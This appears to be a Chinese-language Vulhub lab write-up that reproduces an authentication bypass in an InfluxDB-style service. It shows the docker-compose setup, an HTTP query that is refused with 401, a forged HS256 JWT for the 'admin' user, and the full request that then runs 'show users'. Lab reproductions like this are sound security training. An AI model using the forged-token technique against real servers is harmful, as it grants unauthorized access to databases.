**一、靶场搭建**

1、Vulhub启动

docker-compose up -d

2、访问8086端口的/debug/vars目录，可查看到一些服务信息

**二、漏洞复现**

1、发送SQL语句出现401错误

POST /query HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Accept: \*/\*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

db=sample&q=show+users

2、借助<https://jwt.io/>生成jwt token，admin为已存在的用户，exp是时间戳，代表这个token的过期时间，需要设置为未来的时间戳

{

"alg": "HS256",

"typ": "JWT"

}

{

"username": "admin",

"exp": 1653564500

}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUzNTY0NTAwfQ.OROs6K\_bjWaYtxvFIAcvmPS\_k9Cmhlujp7unWXUEK20

3、发送如下jwt token的数据包，SQL语句执行成功

POST /query HTTP/1.1

Host: your-ip

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUzNTY0NTAwfQ.OROs6K\_bjWaYtxvFIAcvmPS\_k9Cmhlujp7unWXUEK20

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

db=sample&q=show+users